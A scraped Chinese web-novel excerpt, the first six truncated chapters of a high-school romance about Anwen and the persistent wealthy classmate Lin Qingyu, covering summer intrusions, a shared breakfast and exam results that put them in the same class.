《身患绝症后拽少对我死缠烂打》 1. 来去自如 《身患绝症后拽少对我死缠烂打》全本免费阅读 晨光顽皮,在窗帘缝隙间探头探脑。五彩斑斓的墙,纯白素净的钟,上面黑色指针顶天立地,站得笔直。 床上的团状凸起略微挪了挪,又挪了挪,从厚重的被子里挤出一颗乱蓬蓬的脑袋。 清新俊逸的脸热得通红,沁着密密的细汗,迎着晨曦闪着光。 六点而已,还早。 他闭着眼睛嘟嘟囔囔,似梦呓,又似撒娇。 “热。” “你是不是又把我空调关了?” 屋子里除了他的自言自语,再无任何声响。 兰胜男的独家秘籍,夏天用来叫早,屡试不爽。 虽然安闻习以为常,但好不容易暑假睡了一个月懒觉。毫无防备,竟在今天被偷袭。 安闻翻了个面,露出汗涔涔的后背。 目光扫一圈,空调遥控器不在屋里。服了,兰胜男女士当真神机妙算。 这不争气的肚子被床一压,“咕~咕~~”响声把自己都吓了一跳。 兰胜男不在家的时候,会在玄关柜子上留钱,今早想吃小馄饨、油条、水煎包。安闻眯着眼,美滋滋地在心里盘算,如果今天是小蓉点餐,给点儿“封口费”,还可以吃豪华煮方便面,加溏心荷包蛋。 揉了揉凌乱的头发,安闻利落地翻下床,只穿了条内裤,迷迷糊糊地往卧室门口走。 不到三秒钟,陡然清醒。 他又跑回床边,抓了上衣短裤穿上,才探头探脑地出了卧室门。 “洞拐洞拐,我是洞幺,客厅目测无人,over。” 他把手腕放在嘴边,蹑手蹑脚地在家里巡逻。 “洞拐洞拐,餐厅安全,over。” “厨房没人,over。” 最后一步来到卫生间,他先是敲了敲门,里面没有声音,然后小心翼翼的开门,马桶处没有人。 安闻舒了一口气,大力推开卫生间的门,“洞拐洞拐,卫生间安全,林清宇今天没来。Over。” 真不是安闻行事鬼鬼祟祟,实在是自己被林清宇搞怕了。在自己家跟做贼似的。 暑假第3天,上午九点半,安闻睡眼惺忪地穿着小内裤,跑到卫生间解决个人问题。 一推门就撞上林清宇从里面出来,林清宇刚洗完手,手上还带着潮气,拍了拍安闻的肩膀,莞尔一笑,“不好意思,借用一下你家卫生间。” 安闻:“......” 暑假第4天,上午十点,安闻拉开卧室门,一眼看见坐在餐桌上吃饭的林清宇,对方莞尔一笑,“兰姨有事去厂里了,我来蹭个早饭吃。” 安闻:“......” 暑假第11天,林清宇一个星期没来打扰,安闻又穿着小内裤去卫生间解决三急,拉开卧室门,一眼看见坐在客厅沙发上看电视的林清宇,对方又是莞尔一笑,“我妈给你们带了旅行礼物,你快过来看看。” 安闻:“......” 安闻被林清宇搞得应激,连着几天穿戴整齐出卧室,那厮却不来了。 这天,他刚一出卧室,就遇到了从自己房门口路过的林清宇,对方上下打量了自己一番,莞尔一笑,“安闻,肌肉有点薄,还得再练练。” 苍天呐,连着几天没来,安闻放松警惕,又是一条小内裤的时候,就被林清宇看见了。看见就看见了,竟然还评头论足!评头论足也就算了,竟然还不满意! 安闻正准备发作,林清宇回头喊了一句,“兰姨,安闻起来了,咱们准备吃饭吧。” 安闻:“......” 林清宇就这样仗着有兰胜男当靠山,在安闻家来去自如,定时、不定时的入侵安闻的生活,安闻不理他,他就变本加厉。 安闻咬牙切齿大发脾气,他就避其锋芒,消停几天再卷土重来。安闻忍无可忍跟他动手,林清宇就在兰胜男面前茶言茶语。 人要脸树要皮,像林清宇这样没皮没脸的,安闻恨得牙痒痒,真没辙。 更生气的是,这个暑假,林清宇来家里次数多了,连兰胜男都跟他沆瀣一气。 昨天早上,安闻还在卧室里睡得迷迷糊糊,就听见兰胜男在客厅打电话,话里话外都围绕着林清宇,安闻支棱起来耳朵听着。 “小宇那孩子真勤快,起得又早,还有眼力见儿,来了就一直帮我干活,不像我家那懒货,油瓶子倒了都不知道扶。” “我真得谢谢你啦,我这天天起早贪黑的,小宇不过来帮忙,光指望小闻不知道什么时候能干完。” “白姐,小宇有什么喜欢的东西?我得给这孩子买个礼物,当是谢礼。” “别别别,我谢他还让他跑一趟,多不好意思。” 安闻翻了个白眼,自己的妈胳膊肘往外拐,等听见兰胜男挂了电话,安闻走出房门,愤愤地埋怨,“你那么喜欢林清宇,让他给你当儿子吧。” “还不是你动作太慢,人家小宇才来帮忙,我送个礼物感谢他,你还要吃醋。”兰胜男回屋拿上一沓文件,去玄关穿鞋,“对了,宝宝,不说我还忘了,人家是为了帮你忙,买礼物的钱,从你零花钱里扣。” “我让他帮忙了?”安闻坐在沙发上,大声嚷嚷,“我自己能干完,他非多管闲事。扣我零花钱,扣扣扣,你把我零花钱都给林清宇,我又不是没喝过西北风。” “你这孩子,小宇多好个孩子,帮忙还帮错了。”兰胜男拿上自己的包,妥协道,“得了,你们小孩子自己的事情,自己解决。我厂里有事,先走了啊。”说完匆匆出了门。 家里的园子没时间打理,兰胜男心血来潮,干脆全种上了向日葵,说好养活,秋天还能收瓜子。 还没等到收获的季节,向日葵窜得老高,把安闻窗外的光都挡住了不说,还特别多蚊虫。安闻蚊虫过敏,每次被咬,就肿起特别大的包,半个月都不消。 于是,他跟兰胜男商量,把屋后的向日葵都砍掉。安闻怕被咬,长袖长裤围巾口罩帽子,一样不少得穿戴。8月酷暑难耐,他只能砍一会儿,回屋吹一会儿空调。虽然速度慢了些,但是两三天总能砍完。 偏偏那天林清宇来家里给兰胜男送东西。他二话不说,撸起袖子就把向日葵都砍光了。安闻正好落得清闲。本来自己心里也挺感激的,但让兰胜男这么一说,安闻就只剩委屈了。 好在林清宇知道安闻气不顺,这两天没来 2. 没兴趣 《身患绝症后拽少对我死缠烂打》全本免费阅读 安闻捋捋被风吹在眼角的头发,双手揣在裤兜里,懒散地走过去。 尽管两人都在高一(1)班,尽管两人父母相熟,但安闻自认和林清宇的关系不过尔尔,甚至在外人看来,两人关系很恶劣。 偏偏对方浑然不觉,泰然处之。 林清宇对安闻的疏远习以为常,很自然地招呼他坐下,“安闻,好巧,一起吧。” 这样的巧合,没放假的时候,隔几天就会发生。放了假,都“偶遇”到安闻家里了。 安闻低头扫了一眼桌子,油条、水煎包、糍粑、小馄饨、白粥、小咸菜,还有几个不知道什么馅的小笼包。 正欲发作,就看见小蓉端着碗过来,是煮方便面,上面躺着一只溏心蛋,旁边放着两根菜心,没有香菜。 安闻眉眼转冷,目送小蓉离开,才转回身,冷冷的目光对上林清宇温润的眸子,刚压下去的烦躁又在心里冒了头。 去他妈的“伸手不打笑脸人”,自己是脑子被驴踢了,才会被一个笑脸蛊惑。 他抬起眼皮,抿着唇角,盯着对面人的眼睛,“林清宇,什么意思?” “正好就遇见你,请你吃饭。”对面的少年不动声色,镇定说道。 安闻不想多做纠缠,抬腿就要走,却被一直温热的手拽住了胳膊,他挣脱不得,不免气血上涌。 “松手!” 安闻又挣了一下,胳膊一用力,连带着说话也用了力,声音没有收住,惊动了周围一圈吃早饭的人,登时成了整个早餐摊的焦点。 他微低下头,压着嗓子质问,“林清宇,你总这样,有意思吗?” 林清宇随着他的低头,也弓下了腰。两人个子都不算低,低着头弯着腰说话,姿势十分别扭,安闻感觉到胳膊上的手力道轻了些,但还是没有松开。 林清宇面色如常,不紧不慢地缓声道,“你先坐下,别生气,我点都点了,你不吃就浪费了。” 又是这样风轻云淡的语气,又是这样若无其事的表情,又是这样一副理所应当的样子,凭什么你点了,我就必须要吃,安闻怒火更甚。 他瞪着林清宇,慢慢直起了腰,从咬紧的牙关狠狠挤出几个字,“我是你养着吃剩饭的狗吗?” 林清宇怔愣了几秒,眼睛渐渐没了光彩,“安闻,你知道的,我不是那个意思。” 安闻感觉到林清宇的手松了力气,他当然知道林清宇不是那个意思,但一想到平日里的林清宇,自以为是的关心,不动声色的照顾,安闻就火冒三丈。他就是想刺一刺林清宇,最好刺伤他,刺痛他,刺得他长了记性,以后离自己远远的。 林清宇抬头,定定地看着安闻,“我以为这个暑假,我们关系缓和了。” “那只是你以为,在我家我没搭理你,是因为我妈护着你,我给我妈面子,林清宇,你别蹬鼻子上脸。” “我哪儿惹你不高兴,你告诉我,我改。”林清宇不依不饶。 安闻的头发已经被太阳晒干了,他抓了抓,又压了压,头发还是乱飞。 “你什么都不用改,离我远点。” “为什么?” “哪有那么多为什么?你是十万个为什么吗?”安闻终于放弃了整理头发,不听话的东西,不如不管它,他甩甩手,冷漠道,“我告诉你,我就是白眼狼,就是不知好歹,就是用不着你对我好,行了吧!” “不行。”林清宇斩钉截铁,严肃又认真,“不行,安闻,我就是想对你好,你不能拒绝,况且我是在听我爸的话,照顾你和兰姨。” 林清宇的目光里流露出一丝悲悯,那是安闻最不愿看见的东西。还有一丝哀伤和无奈?安闻想,可能少爷从小养尊处优,也没人像自己这般冷言冷语地对待过他吧。 学校里的林清宇,是宁静的,像个执行学习任务的机器人。同学们都说他是书呆子,是冷面学霸,是高岭之花。 尽管这些评价和安闻认识的林清宇有些出入,不过,安闻也不在意,随便他是什么花,反正跟自己又没关系。 安闻不明白,林清宇为什么这么执着地对自己好。明明一开始,不想和自己做朋友的是林清宇,说自己趋炎附势的是林清宇,对自己冷心冷面的还是林清宇。 “安闻,别把我隔离在你的世界外面,我只是想跟你交个朋友,像卢远他们一样。”林清宇软着语气,说着让人不忍心拒绝的话。 安闻感到不知所措,如忘记返校时间一般,这种脱离掌控的感觉,让他烦躁、慌乱。 “你......你和他们不一样,他们是朋友,跟我是对等的。你......”安闻把到了嘴边的话生生咽回去,因为他看到林清宇眼底弥漫开来的失落,湿漉漉的。 他脑袋宕机了,找不到能委婉形容自己和林清宇关系的词。是邻居,是同学,但更像是高不可攀的少爷和少爷家长工的儿子。 两家是老街坊,林勇平,也就是林清宇的父亲,是自己父亲安黎明的老板。 林清宇家有矿,一个煤矿,一个年产30万吨的煤矿,可能还不止一个。安黎明病退前,一直在林清宇家的煤矿当机电班长。 两人中考之后,同时考到了一中,又都在(1)班。兰胜男太忙,安闻的家长会都是拜托给林清宇母亲,然后林勇平和白月洁夫妻两个,就分别代表安闻家长和林清宇家长,来参加家长会。 林勇平很关照安闻家,除了安黎明的工资打进工资卡里,奖金、补助之类的都会托妻子来家里,亲手交到兰胜男手上。金额也比矿上发得多一些。兰胜男母子靠着这些钱,度过了安闻小时候最困难的几年。 这些安闻都心知肚明,所以他知道林清宇的好心好意,知道他不掺杂任何私欲。可越是这样,安闻越不想要林清宇的怜悯。 很多时候,安闻想起林清宇,他内心的小人会劝说自己,即使不能做到摇着尾巴接受林清宇的善意,也不要狼心狗肺地冷言冷语。 可他做不到,迈不过心里的那道坎。 第一次看见林清宇时,安闻9岁,林清宇那时候个子还没自己高,穿着一身蓝色校服,胸前飘着红领巾,在球场练三分,明明是深秋,那少年额头却挂着豆大的汗珠,可他还是含着笑,不急不缓,投篮,落空,捡球,再投。 那时,球框很高,林清宇很小,安闻在场边看了很久,直到兰胜男叫他回家,大概有三十几个球,林清宇一个都没进。可他脸上挂着笑,一颗一颗的捡,一颗一颗的投,乐此不 3. 占便宜 《身患绝症后拽少对我死缠烂打》全本免费阅读 林清宇的眼中饱含着希冀和欲盖弥彰的紧张。安闻的情绪如洪水决堤泄了满地,再无聚拢起来的力气。 他叹了一口气,算了,何必置这个气。 “不吃等着喂狗?”安闻揶揄。 “狗”这个字现在很敏感,林清宇不敢接话,但安闻看见他嘴角明显上扬,他立马接着泼了盆冷水,“AA,林清宇。” 林清宇此时正在麻利地倒水,冲洗筷子。他连眼皮都没抬,只用嘴努了努,示意安闻看桌上的小票,“这顿我付过了,同学之间没说不能互相请客吧?” 安闻:“那行,我请你。” 林清宇眉尾一抬,“这么想请我?下次给你机会。” “不行,”安闻的语气不容置疑,“我把钱给你,这顿我请你。” 林清宇不再坚持,他把冲洗好的碗筷递给安闻,然后拿起小票,微倾身体,安闻斜眼一看。 “靠,46!吃什么了,这么贵!” 周叔这个普通的早餐店,价格都很亲民,自己平时10块钱就能吃饱,林清宇这一顿竟然这么贵! “有四只蟹黄蒸包,喏,就是这个。”林清宇指了下桌上的笼屉,把调好的醋碟往安闻面前推了推,声音里带着一丝兴奋,小声说,“周叔说是新品,你尝尝。” 林清宇的眼睛亮晶晶地看着他,安闻一瞬间有些失神,他掩饰地低下了头,嘟囔着,“周叔明明可以抢你钱,却还是给了你四个包子,真是善良,不蒙大傻子。” 他细细品尝了一个蟹黄汤包,没感觉跟鲜肉的有啥区别。抬起头,看见林清宇期待评价的眼神,他还是说了句,“这钱花的值。” 林清宇嘴角弯弯,眉眼含笑,也夹了一个汤包,轻声地说,“嗯,值。” 安闻把兜里的50块钱拿出来,理直气壮地拍在桌上,“找钱”。 林清宇不按套路出牌,略显为难,“我没有现金,要不微信转你?” 安闻也不是计较那几块钱的人,“算了,请你喝瓶水。” “我从班级群里加你,你通过一下就行。别让我占了你便宜。” 意识到林清宇的心思,原来是在这里等着呢。安闻有些懊恼,自己挖了个坑,但他非常抗拒,不想往下跳,于是他口不择言,“我占你便宜还少吗?让你占一回便宜怎么了。” 这句话脱口而出,安闻和林清宇俱是一愣,空气凝固了。 安闻慌乱地再次口不择言,“我没拿手机。” 刚才林清宇明明就看见自己在打电话了,安闻这回是真想找地缝钻进去了。他耳垂上的那点儿红,像水中的涟漪,蔓延开来,很快和脸颊脖子连成一片。 林清宇失神地看着安闻,抬手又放下,最后搓了搓大腿上的裤子,摇着头哑笑。 “我没想占你便宜,但你愿意让我占便宜的话,我也愿意。” 蹬鼻子就上脸了,安闻没好气地打断他,“吃饭。” 他拽过方便面,埋着头吃起来。 看着他风卷残云,林清宇时不时往前推推其他碟子,“慢慢吃,不会迟到。”他温声补充,“早上不好打车,一会儿我们一起走。” *** 安闻换好校服下来,就看见林清宇倚在车门上,安静地微垂着头看手机,嘴角上扬,浸在一片金灿灿的太阳光里,天蓝色校服与初见那日大同小异。 视野与记忆重合,还是那个人,还是闪着金黄的光,他长高了,比自己还高一点,皮肤没有小时候那么白,但还是干净,爱笑。 安闻看得有些愣神,这才是林清宇,明明是沉稳恬静的翩翩少年,非要在饭桌上学什么膏粱子弟。 他走近了些,瞄了眼林清宇的手机,“看什么呢,这么高兴?” 林清宇抬头,把手机收进校服裤子口袋里,语气里掩不住的雀跃,“范老师给我发的分班名单。” 一中按名次排班,每班50人。高二文、理分科后,排班机制有个小调整。 理科班比文科班多设置了一个“点中点”小班,年级前20名进小班重点培养,冲刺顶尖名校。 Q市盛传“学理上一中,学文上附中”。所以一中每年只能凑出来两三个文科班。 但文科班和理科班一样,从高二之后,每学期按考试成绩流动分班。 安闻选了理科,尽管他平时成绩不稳定,但最差也是能进(1)班的。 林清宇,雷打不动的年级第一,用膝盖想都知道,妥妥地进小班。 安闻很不能理解林清宇的开心,这种板上钉钉的事不是应该早就知道了么。 两人并肩坐在后排,车内空调开得很足,气氛有些微妙,也可能是安闻单方面的尴尬,自己刚才闹了一出宁折不弯,现在又坐在人家车上吹空调。 他低着头,左手抠着右手大拇指的指甲,余光瞄见林清宇的脸侧向窗外,专心地看风景。 “林清宇......”安闻含糊其辞地小声叫林清宇的名字。 林清宇偏了下头,在等他接下来的话。 安闻狠狠地抿了下嘴唇,梗着脖子,下了好大的决心,憋出了一句“没事。” 林清宇没忍住,用手握成拳,掩在嘴边,“没事你叫我?” “我试试你耳朵好不好使。” “......” 一中校门口非常热闹,每个经过的学生都驻足细看,时不时发出一些感叹词。 校门左边是醒目的喜报,今年高考成绩一如既往的优秀,理科包揽全市前5名,前10名有8个在一中,一本达线率84%,二本达线率96%。 文科成绩稍差,但好歹也都是当年驰骋全市前2000名的选手,虽然只有两人进入全市前10名,但一本达线率和理科持平,二本达线率更是夸张的100%。 校门右边是所有考生的光荣榜,第一名的位置,醒目的红色大字724分。H省是教育弱省,全省理科过700分的,不足50人。安闻暗下决心,自己要更加努力,挤进这50个名额里。 突然,安闻的脖子猛得被勾住,他失去重心,向后仰去。 “卢远,大早上抽什么风,滚一边去。”安闻头靠在卢远肩上,借力侧身,一手将脖子上的手抓住,另一只手肘毫不留情地撞向卢远腹部。 卢远被撞得退后两步,揉着肚子,哭嚎道“疼死我了,孙子,下手真狠。” “别装,我都没使劲。” “嘿嘿,走走走,热死了,买瓶水去。” “要去你去,我怕迟到写检讨。”安闻朝着高一教学楼走。 卢远从后面追上去,搂住他肩膀,往旁边带了带,小声说,“放心,我看见老范和书呆子去办公室了,老范那脸黑的,一时半会儿肯定去不了教室。” 卢远把安闻拉 4. 同班 《身患绝症后拽少对我死缠烂打》全本免费阅读 两人同时张口,安闻踢走了脚下的一颗小石子,点了点头。 卢远声音突然正经,他望着远处的天,沉吟开口,“安闻,我说实话,你看上去朋友真挺多的,但你的世界也挺小的,连我也走不进去。有一天我没准能进去,但万一我不行,我也希望那里可以有其他人。” 安闻不善于与人交心,对卢远突然的温情感到无所适从。他只能假装手指夹起一支烟,在唇边嘬一口,插科打诨转移话题,“配合这个场景,得来根烟吧?” “我去?”果不其然,煽情的氛围立时烟消云散,卢远眉毛都快竖起来了,“你不觉得我说得很有哲理吗?我都佩服我自己,我真该去学文,忒有道理了。我走了一年都没找到你家大门,我琢磨着,你是不是就没给开门?” 安闻拽着卢远胳膊,上去就给了他屁股一脚,“别不知足,我家你没少去,饭你也没少吃,我还得站门口唱《北京欢迎你》?” 卢远在超市买了根冰棍,又递给安闻一瓶冰水。 他接过之后,没着急拧开,只用瓶子在脸上滚着,借此消暑。 “喂,小闻。”卢远用肩膀轻轻撞了下安闻的肩膀,含糊不清地说“林清宇人不错,人心都是肉长的,你也、别太过分了。” 安闻没想好和林清宇该怎么相处,今天的话安闻说得很清楚,林清宇应该能明白。 具体以后怎么办,还是要看林清宇,一直以来,都是林清宇给,自己被动接受,自己在林清宇面前,看似飞扬跋扈,其实是没有主动权的。 安闻:“以后再说吧,先回班看成绩。” “也是,反正以后你俩也不在一个班。咱俩这成绩,跑死两匹马都追不上学霸的脚后跟。” 两人回到班级,就近在后门坐下。一会儿各去各班,现在随便坐。班长罗晴本来坐在讲台上发卷子,看见安闻从后门进来,笑眯眯地拿了一沓卷子坐到安闻前面,“安闻,老师有点事,让咱们先看看错题,这是你的卷子,你这回又是语文单科第一。” 安闻快速地翻了一遍自己的卷子,大大的叹了一口气。对于(1)班学生来说,理科单科90是标准线,80 是及格线。从自己卷子上批注的红色感叹号来看,阅卷老师非常不满意自己的化学成绩。 安闻有点怂,“语文分数要是能给化学分点就好了,今天跑不了挨批评了。” 罗晴笑着给安闻吃定心丸,“放心吧,老师顾不上批评你,心思都在林清宇那儿呢。” “我去,班长班长,你快帮我看看,我算错了没,老子扬眉吐气了,这数太尼玛吉利了。”卢远大呼小叫地打断了罗晴的话,笔不停地点着卷子上鬼画符的的666,发出非常不悦耳的短促敲击声。 安闻被勾着听了一半,也不好意思问林清宇怎么了。而且卢远的分数太特别,他也被吸引了过去,“牛啊,卢小远,666!” “不对不对,我能考这么高?班长,你快帮我重算一遍。”卢远摇着罗晴的胳膊,让罗晴帮忙确认分数。 安闻扫了一眼,就知道卢远没有算错了。他笑着拍拍卢远的脑袋,打趣道,“班长,有没有治脑残的药,给卢远来两粒。”他说话的声音不小,逗得周围同学和罗晴都笑起来。 一声突兀的呵斥打破了教室里的和谐,“都考好啦?还好意思笑!” 班主任范老师黑着脸,站在教室门口,后面跟着同样黑着脸的林清宇。 “书呆子这是挨批评了吧?”卢远戳了戳安闻胳膊,小声问。 安闻瞪了卢远一眼,快速收回视线。 “我叫习惯了......学霸这是没考好吧,脸这么臭。”卢远悻悻吐舌道。 安闻没有理卢远,把视线悄悄地移到了林清宇脸上。林清宇眼尾是上扬的,哪里脸臭了,明明挺高兴的。反而,范老师脸是真的臭。 范老师走上讲台,把手机和一摞纸摔在讲桌上。林清宇随后低着头走进来,坐在了靠前门的第一排。 目送着林清宇坐下,范老师才开口。 “成绩,你们刚才已经看见了。到了新班级老师讲卷子,自己心里都有点数。”范老师声音突然拔高,“我简直不敢相信,在我的班级,还会有人不及格。我带了十多年重点班,第一次见重点班还有不及格的学生。” 安闻低着头,指甲狠狠地抠着卷上的“79”,觉得范老师都快喊自己名字了。 “语文没及格的同学,一会儿来我办公室。其他科我可以找小班的老师帮忙。以后小班和(1)班的语文还是我来教。” 她语气缓和了些,“来看你们关心的年级排名,班级排名就不念了啊。” 前面的罗晴挺了挺脊背,坐得笔直。 范老师拿起手上的纸,看了一眼林清宇,摇了摇头。 “第一名,罗晴,678分。第二名,王光武......” “啊?搞错了吧!”学生们齐呼。 范老师正在气头上,又被打断说话,顿时火冒三丈,她重重地拍了拍讲桌,还是没有压住同学们的窃窃私语: “班长好棒啊!”“第一竟然不是林清宇?”“学霸怎么回事?”“678就第一了?我看大榜上状元724呢。” ...... “安静!”范老师大喝一声。 教室里登时鸦雀无声,可询问的目光还在传递,大家非常好奇,林清宇这次不是第一。 范老师目光森森地看了眼林清宇,咬牙切齿地说,“自己作死,没写作文。你们再咋咋呼呼打断我,就都到太阳底下听成绩。” 众人总算知道范老师黑脸的原因了,语文作文60分。没了60分,林清宇可能前100都进不去。 范老师继续念着成绩。同学们特别安静,但八卦的纸条已经飞得满地都是了。 “第26名,卢远,666分,卢远这次考得不错,名次和分数都挺顺的。” 卢远在旁边兴奋地搓手,安闻若无其事地抬头扫视一圈,林清宇和他离得很远,他的背弓着,像只鸵鸟一样把头埋在桌子上,连小班都没进去,挺难过的吧。 “第32名,安闻,661分。”范老师停了一下,一个粉笔头飞过来,吓了安闻一跳,腾地一下站起来,膝盖磕在课桌的桌腿上,疼得他倒吸一口气。 “化学考这德行,还走神,化学课都是这么上的吗?全班只有你化学没及格,瘸腿这么严重。 5. 你算老几 《身患绝症后拽少对我死缠烂打》全本免费阅读 林清宇站起身,把卷子拿在手上,走到安闻身旁微微俯身,“怎么了?” 距离太近了,安闻不自在地向后靠,转头推卢远,“阿远,你先去看看刘老师什么安排,我一会儿过去。” 两人之间的气氛不一般,卢远识相地闪了。 林清宇目送着卢远离开,开口重复了一遍,“怎么了?” “没......没事。” “没事你让卢远先走?”林清宇挑了挑眉毛,面带笑意。 林清宇还能笑得出来?!安闻以为他得消沉好几天,结果他脸上竟然挂着这么明媚的笑,这没皮没脸的样子,安闻真是自愧不如。 他没办法不要脸的直接问,你故意考砸是不是为了我?一来是林清宇现在这样子摆明了要装傻,二来是万一林清宇没那意思,自己过分解读非常丢脸。 安闻仰起脸,理直气壮地说,“你没给我找钱。欠人钱也不是什么光彩的事,我让卢远回避一下。” “哦?”林清宇笑意更浓,“安闻,承认关心我,没有很难。” 林清宇把卷子摊开,放在安闻的桌子上,五指摊开,正好挡住了分数。 安闻越是着急看,越是嘴硬不说。 林清宇的手指岿然不动,不依不饶地逗安闻,“承认你关心我,我就给你看。” 安闻又羞又恼,抓住林清宇的手腕,把他的手甩出去,那张纸上大大的“72”赫然入目。安闻翻到最后一页,果然作文纸上一字没有。他又往前翻了一页,作文前面的现代文阅读理解,条理清晰,字迹工整。 “为什么?”安闻抖着嗓子问,生怕林清宇真是为了自己。 林清宇一屁股坐在安闻前面的位置上,轻描淡写地解释,“考试那天不舒服,睡着了。” “林清宇,我是傻逼吗?怎么就那么巧,前面都完整,只有作文一字没动就睡着了。”安闻的火气压不住,此刻更是认定林清宇就是为了自己。 “作文需要构思嘛,我构思着构思着就睡着了。” “林清宇!”安闻突然站起,拽住林清宇的校服衣领,将他从凳子上拎起来。 林清宇没有站稳,身子向安闻倒过去,还好两人中间隔着一张课桌,他用手一撑,才避免撞上安闻。两人脸的距离已经极近,近到安闻能感受到林清宇说话呼出的气。 “安闻,一次考砸没什么的。” 一次考砸确实没什么,但安闻清楚,小班和(1)班管理、教学、竞赛资格上有很大区别,林清宇说得轻松,但要付出十倍、百倍的努力,才能在一个学期后重回小班。 甚至这次掉了队,即使努力回到了小班,也会适应不了小班的节奏。到时,压力、心理负担、学习精力,无疑都会成为林清宇的负累。 “我那天吃了感冒药,趴桌子上睡着了,监考老师可能以为我答完了,没叫醒我。”林清宇耐心解释,怕安闻不信,他的手还点了点试卷,“你看,卷子上还有我的口水印......” 安闻半信半疑地松开手,拿起桌上的卷子,作文纸右侧确实有一片褶皱,像是水干了留下的痕迹。 他如释重负地捏了捏眉心,拿上自己的试卷,转身就走。因为走得着急,刚才磕在桌腿上的膝盖,又磕了一下凳子。 林清宇看了一眼安闻的膝盖位置,皱了皱眉,抓起卷子塞进书包,追了出去。 “安闻,”林清宇叫住安闻,“你这么生气,该不会是以为我故意不写作文吧?” 被戳破想法,安闻微不可察地顿了顿,继续向前走。 “为什么?我没有故意不写作文的原因。” “你该不会以为,我是为了和你同班吧?” “那我也没必要不写作文,玩脱了就去二班了。” 安闻一路沉默,对林清宇的“自言自语”置若罔闻,林清宇就这样一路嘟囔到了高二教学楼楼下。他并没有跟着安闻一起上楼,而是转了方向,离开了。 安闻还是没说话,盯着林清宇走远的背影,松了一口气。安闻心中嘲讽道,真是自不量力,竟然认为林清宇为了自己故意考到(1)班。 为什么啊,安闻,是脑子抽了么,你算老几,怎么林清宇给你几滴墨水,你就想开染坊了呢,怎么会有这种错觉。林清宇说得对,故意考砸到(1)班,最好的办法绝对不是不写作文,60分,玩脱了真去二班了,林清宇不会做这么没把握的事情。 安闻嘲弄得笑了笑,自己真是疯了。 一中为了便于管理,将三个年级分列在三栋楼里,高一在东楼,高二在西楼,到了高三,就搬去校领导办公室集中的主楼。 小班和(1)班都在顶楼,领导们的意思是顶楼安静,不受打扰,而且课间学生们爬爬楼,也能缓解学习的疲劳,增加运动量。 安闻一鼓作气,爬到了6楼。 卢远拿着拖把在地上比比划划,罗晴则坐在窗台上面,静静地看着地上的鬼画符,还挺认真的。 看见安闻上来,罗晴眼睛一亮,跳下窗台,“安闻,你快来,卢远在给我画电路图,可我怎么看都感觉走不通。” “卢远脑子都是短路的,你还叫他教你画电路图?”安闻调侃道。 “嗐,你自己短路就短路,别扯我。”卢远拎着拖把过来,往安闻手里一塞,“刘老师说了,上午把教室打扫干净就能回,下午过来排座位,领书,领校服,还有填住校申请。你别逃避劳动。对了,新校服是白色Polo,照我看,还不如咱现在穿的天蓝色,有民国学生味儿。女生再扎两个辫子,啧,文艺范十足。” 卢远说话的时候,视线好像总是不经意路过罗晴,安闻意味深长地环视了卢远一圈。又瞥了眼罗晴,罗晴眼睛虽然看着卢远,但好像没在听卢远讲话,只是在安闻身边站着。安闻心中暗暗道,这傻小子,别是剃头挑子一头热吧。 卢远还在喋喋不休,安闻眯着眼睛,拍了一下卢远的后脑,“别叨叨了,快滚去擦玻璃,你好意思让班长帮咱们擦?” “没事没事,我都快擦完了。 6. 谁的情敌 《身患绝症后拽少对我死缠烂打》全本免费阅读 中午回家,兰胜男化身养身达人,跟安闻一顿唠叨。安闻为了躲唠叨,也为了躲林清宇,提前半小时出了门。 他心烦意乱,一会儿想着化学没及格,一会儿想着林清宇跟他一个班,一会儿又想着兰胜男中午叨叨的那些话。 安闻低着头心不在焉地走在街上,一辆黑色轿车停在他身边,他下意识以为是林清宇追上来了。抬头才发现,自己走得慢,才到了林清宇家的街口。黑色轿车玻璃降下,是罗晴。 许是太阳晃眼的缘故,罗晴半眯着眼睛爽朗的开口:“安闻,你等林清宇呢?” “谁?”安闻一时没反应过来,靠近了一些疑惑地反问。 罗晴刚才离得远,没看清安闻的神情。现在安闻离得那么近,那脸上分明写着三个字:不开心。安闻一直是积极的、和煦的,她从没见过安闻露出过这样的神情,像是愤怒,又像是伤心。 再想仔细看看的时候,安闻已面色如常,甚至嘴角还带着笑,眼睛神采奕奕地看着罗晴。罗晴瞪圆了眼睛,怀疑是不是天太热,自己出现了幻觉。 “我问你是不是在等林清宇。”罗晴重复了一遍。 他不想多解释,眨了眨眼,淡淡地说了一句:“我和他不熟。” 罗晴并不在意安闻的答案,只要是没在等人,什么回答都行。她立马拉开车门,伸出手笑意盈盈地招呼:“这大太阳天的,快上来,咱俩一起去学校。” 安闻抬头仰视着太阳,玩笑着掸去自己一身的灰,说:“心有灵犀,就等校花邀请呢。” “是是是,帅哥请上车。”罗晴是个大喇喇的性格,笑着把安闻迎上了车。 坐上车后,罗晴时不时瞄一眼安闻,憋得脸都红了,憋出了一句“(1)班挺好的。” 安闻失笑,“班长,有话就问,欲言又止可不是你性格。” “那我就不跟你客气了,你应该也能猜出来,我就是想问问林清宇的语文成绩。”罗晴如释重负地询问,又立刻紧张起来解释,“呃......我也想知道,但主要是帮笑笑问,你别误会。” 安闻右眉一扬,打趣道,“误会什么?误会你喜欢林清宇?” “不,不是,我就是怕你误会,我小人得志,落井下石......” 罗晴又突然来了底气,拍着胸脯洒脱道,“不过我行得正坐得直,考不过就是考不过,我服气。” 林清宇在学习方面是一中的神,每次第一不说,还能至少领先第二名10分。罗晴就是那个第二名,屡战屡败,屡败屡战,生命力顽强,战斗力爆棚。 每次公布成绩,大家都以为她要偃旗息鼓,却又见她挥舞大旗,卷土重来。 技不如人,甘拜下风,下次再战。颇有古代侠女的风范。 安闻最赞许的就是罗晴光明正大的性格,她直率坦荡,毫不隐瞒自己的野心,她不在意别人怎么看,她就是想超越林清宇,她就是想当第一。但她也真诚磊落,不耍手段,帮林清宇分析试卷,给林清宇补习语文,从不藏着掖着。 安闻用欣赏的眼神看着罗晴,竖起大拇指对着她,发自内心的夸赞道,“不会,罗晴,你凭你自己的本事,你很厉害。” 他知道罗晴的顾虑,引导着问道,“班长,你给林清宇辅导过作文,你觉得他作文最高能得多少分。” 罗晴琢磨了一阵,徐徐开口,“林清宇的语文其实是不差的,条理清楚,逻辑清晰,他只是不擅长描写,像议论文这种体裁就发挥得很好,没偏题的话,差不多54分吧。” “嗯,所以即便他写了作文,也只能勉强和你并列。况且,班长,我作文也才54分。” 不是安闻自大,在语文作文这一块,他一直霸占着最高分。罗晴瞬间明白了他的意思,跟着安闻吹嘘道,“啧,是是是,你最了不起。” 